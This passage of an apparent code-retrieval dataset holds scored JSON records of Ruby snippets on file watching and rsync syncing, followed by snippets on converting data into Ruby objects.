\"fswatch #{fswatch_options} \\\"#{source_path}\\\"\"\n # fswatch command stops the thread until it exits, when it detects a change\n `#{watch_cmd}`\n # if there's no remote_host, there's no need for an rsync or loop, so return\n return if remote_host.nil?\n sync_msg(source_path, remote_path, remote_host, watch_id)\n sync(source_path, remote_path, remote_host, rsync_options,\n post_sync_command)\n end\nend", "title": "" }, { "docid": "750f0727930171372bb190414ad97dda", "score": "0.4797045", "text": "def callback(paths, modified, added, removed)\n @logger.info(\"File change callback called!\")\n @logger.info(\" - Modified: #{modified.inspect}\")\n @logger.info(\" - Added: #{added.inspect}\")\n @logger.info(\" - Removed: #{removed.inspect}\")\n\n tosync = []\n paths.each do |hostpath, folders|\n # Find out if this path should be synced\n found = catch(:done) do\n [modified, added, removed].each do |changed|\n changed.each do |listenpath|\n throw :done, true if listenpath.start_with?(hostpath)\n end\n end\n\n # Make sure to return false if all else fails so that we\n # don't sync to this machine.\n false\n end\n\n # If it should be synced, store it for later\n tosync << folders if found\n end\n\n # Sync all the folders that need to be synced\n tosync.each do |folders|\n folders.each do |opts|\n # Reload so we get the latest ID\n opts[:machine].reload\n if !opts[:machine].id || opts[:machine].id == \"\"\n # Skip since we can't get SSH info without an ID\n next\n end\n\n begin\n rsync_helper = rsync_helper(opts[:machine], opts[:id], opts[:opts])\n\n unless rsync_helper\n # couldn't find SSH info for that machine\n raise Vagrant::Errors::MachineGuestNotReady\n end\n\n start = Time.now\n rsync_helper.rsync_single\n finish = Time.now\n time_spent_msg = \"Time spent in rsync: #{finish-start} (in seconds)\"\n @logger.info(time_spent_msg)\n opts[:machine].ui.info(time_spent_msg)\n rescue Vagrant::Errors::MachineGuestNotReady\n # Error communicating to the machine, probably a reload or\n # halt is happening. Just notify the user but don't fail out.\n opts[:machine].ui.error(I18n.t(\n \"vagrant.rsync_communicator_not_ready_callback\"))\n rescue Vagrant::Errors::RSyncError => e\n # Error executing rsync, so show an error\n opts[:machine].ui.error(I18n.t(\n \"vagrant.rsync_auto_rsync_error\", message: e.to_s))\n end\n end\n end\n end", "title": "" }, { "docid": "bc383eb32ea8d400a34492a7272f9fef", "score": "0.4795845", "text": "def wait_event(event, depth)\n key = event.key\n data = @queue[key]\n return unless data\n data.apply_depth(depth)\n @updated_keys << key\n end", "title": "" }, { "docid": "a8d6b052a52bf05daeb92b9eedb5c871", "score": "0.47953728", "text": "def find_path(char)\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # use request\n request = @request[char]\n # if no nodes to test\n if request.open.size == 0\n # abort testing for this character\n @request.delete(char)\n # resets state\n char.ai.state = (char.ai.state == Invalid ? Return : Ready)\n # stop execution\n return []\n end\n # found\n found = false\n # find minimal key\n key = request.open.keys.min {|a, b|\n Math.hypot(a[0] - request.tx, a[1] - request.ty) <=>\n Math.hypot(b[0] - request.tx, b[1] - request.ty)}\n # this node is now logged as checked\n request.closed[key[0], key[1]] = request.open[key]\n # remove this node from the pending array\n request.open.delete(key)\n # iterate through all possible directions with relative offsets\n Cache::PathDirs.each {|dir|\n # coordinates of new position\n kx, ky = key[0] + dir[0], key[1] + dir[1]\n # if new coordinates are destination\n if kx == request.tx && ky == request.ty\n # the new node was checked\n request.closed[kx, ky] = dir[2]\n # path was found\n found = true\n # stop checking\n break\n # if new node not checked yet and coordinates are passable\n elsif request.closed[kx, ky] == 0 &&\n char.passable?(key[0] * pix, key[1] * pix, dir[2])\n # add new node to be checked\n request.open[[kx, ky]] = dir[2]\n end}\n # stop execution except if found path\n return nil unless found\n # backtrack the path\n result = request.backtrack\n # finish testing for this character\n @request.delete(char)\n # resets state\n char.ai.state = (char.ai.state == Invalid ? Return : Ready)\n # return movement command array\n return result\n end", "title": "" }, { "docid": "17f5c100fae60508eb1fb6e4e01a2e86", "score": "0.47940505", "text": "def report_changes\n changed_dirs = nil\n\n @mutex.synchronize do\n return if @changed_dirs.empty?\n changed_dirs = @changed_dirs.to_a\n @changed_dirs.clear\n end\n\n @callback.call(changed_dirs, {})\n @turnstile.signal\n end", "title": "" }, { "docid": "91a36e68fa4a272fc87e718ca6d53a20", "score": "0.47935423", "text": "def run_on_changes(paths = [])\n @runner.reload\n end", "title": "" }, { "docid": "627acc8bc1beb816866fb0d4b6870dc0", "score": "0.47889477", "text": "def update_path!\n update_path(:force => true)\n end", "title": "" }, { "docid": "718256979a355dd824b74d2dec9ceca6", "score": "0.47798917", "text": "def update_for_wait\n update_basic\n end", "title": "" }, { "docid": "aa38e078de27a823b900dab63dea8b83", "score": "0.47798854", "text": "def process\n changed\n notify_observers(@pointer)\n @pointer\n end", "title": "" }, { "docid": "a41766a69421e511897471f152ef3eaa", "score": "0.4778397", "text": "def update_children_with_new_parent\n if path_changed? and not new_record? then\n old_path = (path_was.blank? ? id.to_s : \"#{path_was}.#{id}\")\n self.class.where(\"path <@ ?\", old_path).update_all([ \"path = TEXT2LTREE(REPLACE(LTREE2TEXT(path), ?, ?))\", old_path, my_path ])\n end\n end", "title": "" }, { "docid": "ddb6725c1fd1713a838d311e60805460", "score": "0.476814", "text": "def shift\n @path.shift\n end", "title": "" }, { "docid": "1aed2f3189730063de50065ed3a39e2f", "score": "0.4764621", "text": "def run_on_changes(paths)\n changed_files, success = Runner.run(Inspector.clean(paths), watchers, options)\n notify changed_files\n\n throw :task_has_failed unless success\n end", "title": "" }, { "docid": "bdf8d543204ddc3523f8d2574963feb6", "score": "0.47633174", "text": "def click_selector_and_wait(id_to_click,selector_value,id_to_change,value)\n element_to_change = driver.find_element(:id => id_to_change)\n current_value = element_to_change.attribute(value.to_sym)\n\n option = Selenium::WebDriver::Support::Select.new(driver.find_element(:id => id_to_click))\n option.select_by(:text, selector_value)\n \n @wait.until { element_to_change.attribute(value.to_sym) != current_value }\n end", "title": "" }, { "docid": "d174092983ed2ccb5c56596c7596cf67", "score": "0.4761039", "text": "def run_on_modifications(paths)\n @builder.notify\n end", "title": "" }, { "docid": "a4dfc3eab876cb7dbc44c1b93f4ce9c4", "score": "0.4755065", "text": "def move_type_path\n return if @path == :pending\n return unless movable?\n while (command = @path[@move_route_index])\n # @move_route_index += 1\n break if move_type_custon_exec_command(command)\n end\n end", "title": "" }, { "docid": "021b7a8c212eb28843da1be20f5bf7f6", "score": "0.47483408", "text": "def scan_changed(&block) # :yields: file\n known_files.each do |known_file|\n new_mtime = mtime_for(known_file)\n if new_mtime != last_mtime[known_file]\n block.call(known_file)\n last_mtime[known_file]= new_mtime\n end\n end\n end", "title": "" }, { "docid": "e5efd95873b05ed9dc13aa3c4d6dc3da", "score": "0.47414178", "text": "def wait_until_done!\n retries = 0\n until done?\n secs = (2 * retries) + 5\n sleep secs\n retries += 1\n reload!\n end\n end", "title": "" }, { "docid": "9e5b9df34a92a2cbfc24c85b84455353", "score": "0.4741363", "text": "def transition_to(path, current_state=self.current_state)\n path = path.to_s\n state = current_state || self\n exit_states = []\n\n # Find the nearest parent state on the path of the current state which\n # has a sub-state at the given path\n new_states = state.find_states(path)\n while(!new_states) do\n exit_states << state\n state = state.parent_state\n raise(StateNotFound, transition_error(path)) unless state\n new_states = state.find_states(path)\n end\n\n # The first time we enter a state, the state_manager gets entered as well\n new_states.unshift(self) unless has_state?\n\n # Can only transition to leaf states\n # TODO: transition to the initial_state of the state?\n raise(InvalidTransition, transition_error(path)) unless new_states.last.leaf?\n\n enter_states = new_states - exit_states\n exit_states = exit_states - new_states\n\n from_state = current_state\n # TODO: does it make more sense to throw an error instead of allowing\n # a transition to the current state?\n to_state = enter_states.last || from_state\n\n run_before_callbacks(from_state, to_state, current_event, enter_states, exit_states)\n\n # Set the state on the underlying resource\n self.current_state = to_state\n\n run_after_callbacks(from_state, to_state, current_event, enter_states, exit_states)\n end", "title": "" }, { "docid": "66ae0aa93e83f9bcad718ccdc3e574cf", "score": "0.47379047", "text": "def wait_until_page_loads(path)\n @wait.until { @driver.current_url == path}\n @wait.until { @driver.execute_script('return PAGE_RENDERED;') == true }\n $verbose ? puts(\"#{path} successfully loaded\") : nil\n end", "title": "" }, { "docid": "3b8d0dd636326f6d3d5e43de188cc0d9", "score": "0.4733291", "text": "def watch( *glob )\n yield unless block_given?\n files = []\n loop do\n new_files = Dir[*glob].map {|file| File.mtime(file) }\n yield if new_files != files\n files = new_files\n sleep 0.5\n end\nend", "title": "" }, { "docid": "161f1e55a7794bb333c6e22a9bd79137", "score": "0.47293472", "text": "def notify(path, event_type = nil)\n changed(true)\n notify_observers(path, event_type)\n end", "title": "" }, { "docid": "28357a758eb0a4d9a4f9c8d25408d527", "score": "0.4718411", "text": "def keep_remaining_path\n path = @remaining_path\n yield\n ensure\n @remaining_path = path\n end", "title": "" }, { "docid": "68f99c73acdf46b61efe85c793114208", "score": "0.47126976", "text": "def there(&block)\n Dir.chdir File.join(@repo.dir, @path), &block\n end", "title": "" }, { "docid": "8c95503624406159d112efa4a84f54a7", "score": "0.47087643", "text": "def reload(path, native)\n\tloop{\n\tsleep(20)\n\tputs \"reloafding!\"\n\treturn initial(path, native);\n\t}\nend", "title": "" }, { "docid": "badd9bf62ce09514aa01dcddfd6dfc3b", "score": "0.47030327", "text": "def watcher_cycle\n return unless @watcher.wait_for_events(POLL_INTERVAL)\n\n @watcher.each_event do |event|\n @changed.push(event.watch_descriptor)\n end\n end", "title": "" }, { "docid": "b0686310db34346f15c668b9969df5d0", "score": "0.47016922", "text": "def run_on_changes(paths)\n paths.each do |path|\n # use output_folder or default back to watched file location\n run_steering(path, @options[:output_folder] || File.dirname(path))\n end\n end", "title": "" }, { "docid": "68f10459d3a3fc647512400b92c7544b", "score": "0.46826148", "text": "def changed_paths\n @changed_paths ||= ( self[:changed_paths].null? ? nil :\n self[:changed_paths].to_h.tap { |by_path|\n by_path.each_key { |k| by_path[k] = by_path[k].to_h }\n }\n )\n end", "title": "" }, { "docid": "8df343f46de7d7be6650befaf9952f1f", "score": "0.46805477", "text": "def run_on_changes paths\n return run_all unless tracker.checks\n info \"\\n\\nrescanning #{paths}, running all checks\" unless options[:quiet]\n report = ::Brakeman::rescan(tracker, paths)\n print_changed(report)\n throw :task_has_failed if report.any_warnings?\n end", "title": "" }, { "docid": "bdab5d44e07babe4ffc4ef64379f9191", "score": "0.46793452", "text": "def wait_until\n until yield\n\twait\n end\n end", "title": "" }, { "docid": "f506d726926330671c2bed6fe1a14ed6", "score": "0.46774215", "text": "def watch(path, element)\n watcher_for(path).elements << element\n end", "title": "" }, { "docid": "e2ec82537b1e3292d376c7f37df1b563", "score": "0.46750918", "text": "def update_path(path)\n return path_nodes(path).insert(1, \"data\").join(\"/\") if path_nodes(path)[1] != \"data\"\n\n path\n end", "title": "" }, { "docid": "3ed67bf97f3ed8d4a9ae4e78ab6da4a1", "score": "0.46705535", "text": "def wait(seq)\n nseq = nil\n while not nseq\n nseq,data = read_data(seq)\n select\n end\n end", "title": "" }, { "docid": "b51728d7453b020cf63073886c0f78bd", "score": "0.4665459", "text": "def wait_one_cycle\n\t current_cycle = execute { cycle_index }\n\t while current_cycle == execute { cycle_index }\n\t\traise ExecutionQuitError if !running?\n\t\tsleep(cycle_length)\n\t end\n\tend", "title": "" } ]
3197c6e248893e80a5f911ea3b11efc8
Define a converter data to ruby object.
[ { "docid": "e99314b6084b41d789b62621e9a6650f", "score": "0.0", "text": "def to_ruby(&b)\n @to_ruby = b\n end", "title": "" } ]
[ { "docid": "90c698977b04247c047f9b54e2022cd6", "score": "0.72035974", "text": "def convert(data=nil)\n @input = data if data\n @output = @input\n @output\n end", "title": "" }, { "docid": "bea9d77a3227e894c3d4b962d113b1ee", "score": "0.71804935", "text": "def converter\n\n end", "title": "" }, { "docid": "99485670ffefb215d246a701d6cdd10b", "score": "0.717613", "text": "def converter\n end", "title": "" }, { "docid": "98fb4540f82b0bf969802354d5797900", "score": "0.71093196", "text": "def converter; end", "title": "" }, { "docid": "ee1c9f266867939fac42b15d1fe2a449", "score": "0.6952148", "text": "def convert(object); end", "title": "" }, { "docid": "a171fad2e1703eedb55cead4ad6463e8", "score": "0.68303406", "text": "def converters; end", "title": "" }, { "docid": "a171fad2e1703eedb55cead4ad6463e8", "score": "0.68303406", "text": "def converters; end", "title": "" }, { "docid": "a171fad2e1703eedb55cead4ad6463e8", "score": "0.68303406", "text": "def converters; end", "title": "" }, { "docid": "3ca0c90939c95126a0b2486d4299c75d", "score": "0.6721691", "text": "def convert\n end", "title": "" }, { "docid": "3ca0c90939c95126a0b2486d4299c75d", "score": "0.6721691", "text": "def convert\n end", "title": "" }, { "docid": "5fe6a67242420ae138fd7bc5d2e3029f", "score": "0.66890246", "text": "def from data\n obj = new\n obj.decode data\n obj\n end", "title": "" }, { "docid": "7affebd1b1dc61a532d84a708914245a", "score": "0.66142887", "text": "def converters=(_arg0); end", "title": "" }, { "docid": "6b07f52b29252627201f5090aa23fbd4", "score": "0.6538162", "text": "def convert\n self.class.convert(object)\n end", "title": "" }, { "docid": "77183b73dfa867a8481943107bc6766a", "score": "0.6490357", "text": "def convert\n raise NotImplementedError\n end", "title": "" }, { "docid": "44dfb544698607e576c596f544aecb6c", "score": "0.6480303", "text": "def conversion(&block)\n self.converter = block\n end", "title": "" }, { "docid": "23ee16f52ee09db522153aa603a6e813", "score": "0.6479595", "text": "def convert\n return unless should_convert?\n\n object_magic = MagicObjects.get_magic(object)\n {\n _magic: object_magic\n }\n end", "title": "" }, { "docid": "3bb6656b5d6e1ee013c177fc423eb385", "score": "0.6443291", "text": "def convert(obj)\n if c = @converter\n c.call(obj)\n else\n obj\n end\n end", "title": "" }, { "docid": "a80e0ed6a8ef50c7ab00a5cc8000fb36", "score": "0.63708025", "text": "def convert!; end", "title": "" }, { "docid": "13a5e7b079be4279116844d7a1a76df1", "score": "0.63390744", "text": "def get_converter\n eval(\"RedmineCharts::#{get_type.to_s.camelize}DataConverter\")\n end", "title": "" }, { "docid": "fcd026734d4bd5bed6f5d612e2574175", "score": "0.6305611", "text": "def __convert_data(data, mode = nil)\n if mode != :converted\n JsonRpcObjects::Utils::Hash.keys_to_sym(data)\n else\n data\n end\n end", "title": "" }, { "docid": "eb6ff3cd69f7df80498e7cd3679d09ec", "score": "0.61615264", "text": "def converter=(object)\n if object.is_a?(Symbol)\n @converter = HoneyFormat.converter_registry[object]\n return\n end\n\n if object.is_a?(Hash)\n @converter = hash_converter(object)\n return\n end\n\n @converter = object\n end", "title": "" }, { "docid": "75341a4ef04a07bd3f2c280c6d1a3b11", "score": "0.60588014", "text": "def marshal_load(data_)\n format_ = Format.get(data_[0], true)\n if data_[1].kind_of?(::String)\n val_ = format_.parse(data_[1], data_[2])\n initialize(val_.values_array, format_, val_.unparse_params)\n else\n initialize(data_[1], format_, data_[2])\n end\n end", "title": "" }, { "docid": "b0025ef212dff2f29d62f1bc28fbd8f7", "score": "0.60561997", "text": "def convert\n @input\n end", "title": "" }, { "docid": "2c5fe7592019ca25e53b7de36cf7536b", "score": "0.6055372", "text": "def json_create(o)\n new(*o[\"data\"])\n end", "title": "" }, { "docid": "c3365e4f2e757764d37ebf77b18d52ca", "score": "0.59769726", "text": "def transform_to_ruby(data)\n case data\n when Array, List\n transformed_data = data.to_a.map do |v|\n transform_to_ruby(v)\n end\n when Map\n transformed_data = Naether::Java.convert_to_ruby_hash(data)\n transformed_data.each do |k, v|\n transformed_data[k] = transform_to_ruby(v)\n end\n when Hash\n transformed_data = data\n transformed_data.each do |k, v|\n transformed_data[k] = transform_to_ruby(v)\n end\n else\n transformed_data = data\n end\n\n transformed_data\n end", "title": "" }, { "docid": "f14a204b7176b9d9bf155dff2a92f32d", "score": "0.59606034", "text": "def convert_data(v, opts = {})\n v.is_a?(BSON::Binary) ? v : BSON::Binary.new(to_hex(v['$hex'], opts), :generic)\n end", "title": "" }, { "docid": "dcf5b62a07874ec3cc22d65d94f34c42", "score": "0.59532464", "text": "def find_converter_instance(klass); end", "title": "" }, { "docid": "a5d419e08998640d9253b6fcd4df1c66", "score": "0.594968", "text": "def convert\n raise \"The convert method must be implemented by subclass!\"\n end", "title": "" }, { "docid": "ee5db650e9589e9ac3afd815a493d1bd", "score": "0.5910085", "text": "def __convert(h); end", "title": "" }, { "docid": "0b991c16b2ea67b38b9d7feaf5a398dd", "score": "0.5904268", "text": "def convert_from_ruby(val)\n @from_ruby.call(val)\n end", "title": "" }, { "docid": "8737a3440b52c76437f36d56572a8b6b", "score": "0.58616877", "text": "def to_h\n data = super\n data[:convert] = data.delete(:converter)\n data.stringify_keys\n end", "title": "" }, { "docid": "5c696156205ccd8c054e85a4dd3cf77c", "score": "0.58173865", "text": "def convert_to_ruby_object(rexp)\n # first try converters defined for just this instance\n success, value = apply_local_ruby_converters(rexp)\n return [success, value] if success\n\n # then try converters defined in general\n success, value = apply_ruby_converters(rexp)\n return [success, value] if success\n\n # and finally apply the default converters \n success, value = apply_default_ruby_converters(rexp)\n return [success, value] if success\n\n # give up\n [false, rexp]\n end", "title": "" }, { "docid": "291aa09b22078736820095db7d52768e", "score": "0.58170164", "text": "def convert_to_r_object(obj)\n # first try converters defined for just this instance\n success, value = apply_local_r_converters(obj)\n return [success, value] if success\n\n # then try converters defined in general\n success, value = apply_r_converters(obj)\n return [success, value] if success\n\n # and finally apply the default converters \n success, value = apply_default_r_converters(obj)\n return [success, value] if success\n\n # give up\n [false, obj]\n end", "title": "" }, { "docid": "21a2e70e9d14f9010120260d03328233", "score": "0.58153415", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "53382974a9c0e1fb9694abdb457fa722", "score": "0.58137083", "text": "def initialize(call=DefaultConverterPath)\n self.converter_call = call\n end", "title": "" }, { "docid": "a43cc7357a25c03cbd291bc406fb6cf7", "score": "0.5794604", "text": "def from_data(data)\n obj = new\n\n @attributes.each do |key|\n value = obj.send \"parse_#{key}\", data\n obj.send \"#{key}=\", value\n end\n\n obj\n end", "title": "" }, { "docid": "acfb5e7c523f3c823f8801cee46426a8", "score": "0.57937956", "text": "def val(name)\n Converter.new(name)\n end", "title": "" }, { "docid": "f9d6002cb67992cf59d82b40319740df", "score": "0.5778855", "text": "def initialize data\n @data = data\n end", "title": "" }, { "docid": "070ecf39ee939fc1717a6fcf1340624e", "score": "0.577486", "text": "def apply_r_converters(obj)\n apply_converters(Engine.r_converters, obj)\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "d6a3e18476e7ca5b70e02c1f4a772055", "score": "0.5768526", "text": "def initialize data\n self.data = data\n end", "title": "" }, { "docid": "279ca8f66a7bdc5b640b737de8c372db", "score": "0.576808", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "279ca8f66a7bdc5b640b737de8c372db", "score": "0.576808", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "279ca8f66a7bdc5b640b737de8c372db", "score": "0.576808", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "279ca8f66a7bdc5b640b737de8c372db", "score": "0.576808", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "27aa8ff28655655f719e8a97f1382a5e", "score": "0.57540864", "text": "def convert!\n resource\n end", "title": "" }, { "docid": "88e7e0b1edf164f82a98a9126a57f42e", "score": "0.57300866", "text": "def to_primitive\n data\n end", "title": "" }, { "docid": "7ae61b9f663688bf02d7df0060ae8afb", "score": "0.5729437", "text": "def convert(value)\n @path = []\n @values = {}\n to_data(value)\n end", "title": "" }, { "docid": "7ae61b9f663688bf02d7df0060ae8afb", "score": "0.5729437", "text": "def convert(value)\n @path = []\n @values = {}\n to_data(value)\n end", "title": "" }, { "docid": "6445df1899a65a67af162dbc4c06c626", "score": "0.5714243", "text": "def initialize(data)\n\n end", "title": "" }, { "docid": "a468b4f3087927cf507c5eb3e939c3df", "score": "0.5701726", "text": "def convert(serialized_object, target_type)\n converter = converter serialized_object.content_type, target_type\n converter.convert serialized_object\n end", "title": "" }, { "docid": "575a3616fa01d2512656b33ed7951e93", "score": "0.5697656", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "575a3616fa01d2512656b33ed7951e93", "score": "0.5697656", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "575a3616fa01d2512656b33ed7951e93", "score": "0.5697656", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "6bc56a3e87c92a6bbbf08489aae7a8fc", "score": "0.56900936", "text": "def initialize(data)\n\t\t@data = data\n\tend", "title": "" }, { "docid": "a5f893f2ac8f73c9854823cba6a6f82a", "score": "0.5677183", "text": "def data\n to_h\n end", "title": "" }, { "docid": "16a07c610ee42861a170e031c4d7c3f0", "score": "0.5676125", "text": "def initialize(data)\n @data = data\n end", "title": "" }, { "docid": "59ebef60efd747224f30784a7a630de2", "score": "0.56653666", "text": "def initialize(input_data)\n @data = input_data\n end", "title": "" }, { "docid": "454d596fad4b22c05d40465855ae9f9e", "score": "0.5629963", "text": "def to_data value\n if @to_data.nil?\n raise NoMethodError, \"#to_data not defined\"\n end\n \n @to_data.call value\n end", "title": "" }, { "docid": "504dfc686a573f01055c3a99af247d79", "score": "0.5624675", "text": "def initialize data\n self.data = data\n parse_data\n end", "title": "" }, { "docid": "fde25bcc88454fdc66e09b1a031e0316", "score": "0.56207114", "text": "def convert()\n @helper.post(@fields, @files, @raw_data)\n end", "title": "" }, { "docid": "aa4bb22db8f7defd527f45cab123a071", "score": "0.56205374", "text": "def to_obj; end", "title": "" }, { "docid": "da13dad80436190672fe895f0e28f18c", "score": "0.5612355", "text": "def marshal\n @data\n end", "title": "" }, { "docid": "eb1d59c0fdfeb287f1c30d2864370228", "score": "0.5605304", "text": "def convert(data)\n return \"cls #{data.id}, #{data.value}\" if data.is_a? ClassicPattern\n return \"clv #{data.id}, #{data.year}, #{data.make}, #{data.series}, #{data.name}\" if data.is_a? ClassicVehicle\n return \"ci #{data.category.code} #{data.updated_value}\" if data.is_a? ClassicItem\n return \"co #{data.value}\" if data.is_a? ClassicItemOption\n return \"ser #{data.digits} #{data.start_value} #{data.end_value}\" if data.is_a? ClassicSerial\n nil\n end", "title": "" }, { "docid": "9ad83bf7e0b911b29be91e791ae21c84", "score": "0.55919164", "text": "def data_object\n begin\n result = JSON.parse(T.must(data), symbolize_names: true)\n rescue StandardError\n result = {}\n end\n result\n end", "title": "" }, { "docid": "ecb53a31027528b492fceea72df2ce56", "score": "0.5552976", "text": "def convert!\n @output = convert\n self\n end", "title": "" }, { "docid": "c893b453715c40a64cc952a23c710eaa", "score": "0.55464625", "text": "def initialize(method_name, data_converter)\n @method_name = method_name\n @data_converter = data_converter\n end", "title": "" }, { "docid": "69489a1a19601eb08a07a5445c2d1a36", "score": "0.554422", "text": "def initialize(data = nil)\n ActiveSupport::JSON.decode(data).each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\")\n end if data\n end", "title": "" }, { "docid": "e013943893794527eb03cc664fa28915", "score": "0.5543772", "text": "def to_data value\n @types.each { |type|\n if type.has_to_data?\n return type.to_data value\n end\n }\n \n raise NoMethodError, \"#to_data not defined\"\n end", "title": "" }, { "docid": "cd1603e71df5c0092f4239f3056f7542", "score": "0.55403763", "text": "def convert_data_to_io_obj options, &block\n\n data = options.delete(:data)\n\n if block_given?\n options[:data] = IOProxy.new(block)\n elsif data.is_a?(String)\n data = data.dup if data.frozen?\n data.force_encoding(\"BINARY\") if data.respond_to?(:force_encoding)\n options[:data] = StringIO.new(data)\n elsif data.is_a?(Pathname)\n options[:data] = open_file(data.to_s)\n elsif io_like?(data)\n options[:data] = data\n else\n msg = \"invalid :data option, expected a String, Pathname or \"\n msg << \"an object that responds to #read and #eof?\"\n raise ArgumentError, msg\n end\n\n end", "title": "" }, { "docid": "0bf958056d2f2d18500059082b86b780", "score": "0.5536526", "text": "def decode!(data)\n @value, @types, @rest = self.decode(data)\n end", "title": "" }, { "docid": "c7e7073541ee0807b0260ef826f3cd55", "score": "0.551771", "text": "def convert(value) value end", "title": "" }, { "docid": "90b5bd3e494923eeadeae97cf1b1536a", "score": "0.5516333", "text": "def convert(obj)\n case obj\n when ConfigNode\n obj\n when Hash\n ConfigNode.new convert_hash obj\n when Array\n obj.map { |o| convert o }\n else\n obj\n end\n end", "title": "" }, { "docid": "9575770a411d7a3ce6d28427b4b3725e", "score": "0.5514528", "text": "def initialize(data)\n @data = data\nend", "title": "" }, { "docid": "36fedcb68459bf329d3b97de62a20729", "score": "0.55010736", "text": "def convert(*args)\n raise NoMethodError.new('convert')\n end", "title": "" }, { "docid": "738669c76fcf8328a29220e67ab99ed2", "score": "0.5500373", "text": "def from_ruby(&b)\n @from_ruby = b\n end", "title": "" }, { "docid": "80a3d17d915283e92aa133e2cfb7b66b", "score": "0.54952747", "text": "def marshal_load(data)\n self.data = data\n end", "title": "" }, { "docid": "64452d1bc505ae7223ba5b81c6a365c3", "score": "0.5477642", "text": "def ruby_converters\n @ruby_converters ||= []\n @ruby_converters.reverse\n end", "title": "" }, { "docid": "853996f0e7461a2ff4a6a2c408cef132", "score": "0.5477378", "text": "def to_ruby_obj(payload_elt)\n type = self.class.element_type\n converter = CONVERTER_CLASS[type] || type\n converter.ruby_format(payload_elt)\n end", "title": "" }, { "docid": "c9d2c1bbecca373792bab292eef2bbcf", "score": "0.547637", "text": "def convert_to_type(data, return_type, api_version)\n return nil if data.nil?\n case return_type\n when 'String'\n data.to_s\n when 'Integer'\n data.to_i\n when 'Float'\n data.to_f\n when 'Boolean'\n data == true\n when 'Time'\n # parse date time (expecting ISO 8601 format)\n Time.parse data\n when 'Date'\n # parse date time (expecting ISO 8601 format)\n Date.parse data\n when 'Object'\n # generic object (usually a Hash), return directly\n data\n when /\\AArray<(.+)>\\z/\n # e.g. Array<Pet>\n sub_type = $1\n data.map { |item| convert_to_type(item, sub_type, api_version) }\n when /\\AHash\\<String, (.+)\\>\\z/\n # e.g. Hash<String, Integer>\n sub_type = $1\n {}.tap do |hash|\n data.each { |k, v| hash[k] = convert_to_type(v, sub_type, api_version) }\n end\n else\n # models (e.g. Pet) or oneOf\n klass = DatadogAPIClient.const_get(api_version).const_get(return_type)\n klass.respond_to?(:openapi_one_of) ? klass.build(data) : klass.build_from_hash(data)\n end\n end", "title": "" }, { "docid": "6f3d435d84df8bd28f0385e25578d8ab", "score": "0.54683346", "text": "def convert_to_type(data, return_type)\n return nil if data.nil?\n case return_type\n when 'String'\n data.to_s\n when 'Integer'\n data.to_i\n when 'Float'\n data.to_f\n when 'BOOLEAN'\n data == true\n when 'DateTime'\n # parse date time (expecting ISO 8601 format)\n DateTime.parse data\n when 'Date'\n # parse date time (expecting ISO 8601 format)\n Date.parse data\n when 'Object'\n # generic object (usually a Hash), return directly\n data\n when /\\AArray<(.+)>\\z/\n # e.g. Array<Pet>\n sub_type = $1\n data.map { |item| convert_to_type(item, sub_type) }\n when /\\AHash\\<String, (.+)\\>\\z/\n # e.g. Hash<String, Integer>\n sub_type = $1\n {}.tap do |hash|\n data.each { |k, v| hash[k] = convert_to_type(v, sub_type) }\n end\n else\n type = AsposeSlidesCloud::TypeRegistry.get_type(return_type, data)\n if !type\n type = return_type\n end\n AsposeSlidesCloud.const_get(type).new.tap do |model|\n model.build_from_hash data\n end\n end\n end", "title": "" }, { "docid": "650142b3fdf589633088905b422ae5af", "score": "0.54634196", "text": "def serialize(object, data); end", "title": "" }, { "docid": "69d780812dd549f5fc608275bf4fcb80", "score": "0.54585034", "text": "def convert(obj)\n ret = convert_proc.call(obj)\n filters.execute(ret)\n end", "title": "" }, { "docid": "33faebdfdef3fe155f265406dca9d47f", "score": "0.5456245", "text": "def convert_object(value)\n case value\n when RDFSource\n value\n when RDF::Literal\n if value.simple?\n value.object\n elsif value.has_datatype?\n RDF::Literal.datatyped_class(value.datatype.to_s) ? value.object : value\n else\n value\n end\n when RDF::Resource\n cast? ? make_node(value) : value\n else\n value\n end\n end", "title": "" }, { "docid": "9b47471381742e7080d15a353edd7fba", "score": "0.5454317", "text": "def add_ruby_converter(converter)\n @ruby_converters ||= []\n @ruby_converters << converter\n end", "title": "" }, { "docid": "b376cf5e3dac2ff51844cab8d329bd73", "score": "0.545127", "text": "def decode data\n if data.is_a? Hash\n self.class.attributes.each do |name, options|\n send(\"#{name}=\", processed_data(data[name] || data[name.to_s], options))\n end\n elsif name = self.class.default_attribute\n options = self.class.attributes[name]\n send(\"#{name}=\", processed_data(data, options))\n else\n raise ArgumentError.new(\"data is not a Hash (it\\'s a #{data.class}) and default attribute not specified\")\n end\n end", "title": "" }, { "docid": "fcbbfbc8c68bac9e14ea0ab2f46076b4", "score": "0.545026", "text": "def set_convert\n @convert = Convert.find(params[:id])\n end", "title": "" }, { "docid": "fcbbfbc8c68bac9e14ea0ab2f46076b4", "score": "0.545026", "text": "def set_convert\n @convert = Convert.find(params[:id])\n end", "title": "" }, { "docid": "7e3d287115f96f1cf5191a1711858393", "score": "0.5437332", "text": "def parse(data)\n @data = 